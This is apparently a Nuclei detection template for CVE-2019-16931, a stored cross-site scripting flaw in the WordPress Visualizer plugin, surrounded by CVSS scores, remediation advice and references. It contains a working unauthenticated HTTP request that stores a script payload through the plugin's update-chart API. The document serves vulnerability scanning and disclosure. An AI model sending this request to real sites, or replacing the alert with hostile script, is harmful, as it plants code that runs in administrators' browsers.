CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
52.2%
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
id: CVE-2019-16931
info:
name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://wpvulndb.com/vulnerabilities/9893
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
- https://wordpress.org/plugins/visualizer/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-16931
cwe-id: CWE-79
epss-score: 0.0016
epss-percentile: 0.52613
cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: themeisle
product: visualizer
framework: wordpress
tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle
http:
- raw:
- |
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"success":"Chart updated"}'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022100e9cefe4abc7fdad019d98919e8ef9f74edc413f523bc8300b344f6ad14137b8802203abbab9c423759cadf12903e6cf4b107694f8563d6a3ca13e2e3ed5aa61f41e1:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
52.2%